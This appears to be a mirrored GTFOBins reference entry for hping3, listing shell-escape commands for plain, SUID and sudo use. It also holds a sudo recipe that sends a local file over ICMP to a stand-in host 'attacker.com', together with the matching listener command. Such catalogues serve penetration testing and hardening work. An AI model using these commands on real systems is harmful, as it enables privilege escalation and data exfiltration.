mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
26 lines
558 B
Markdown
26 lines
558 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
hping3
|
|
/bin/sh
|
|
suid:
|
|
- code: |
|
|
./hping3
|
|
/bin/sh -p
|
|
sudo:
|
|
- code: |
|
|
sudo hping3
|
|
/bin/sh
|
|
- description: |
|
|
The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:
|
|
|
|
```
|
|
sudo hping3 --icmp --listen xxx --dump
|
|
```
|
|
code: |
|
|
RHOST=attacker.com
|
|
LFILE=file_to_read
|
|
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
|
|
---
|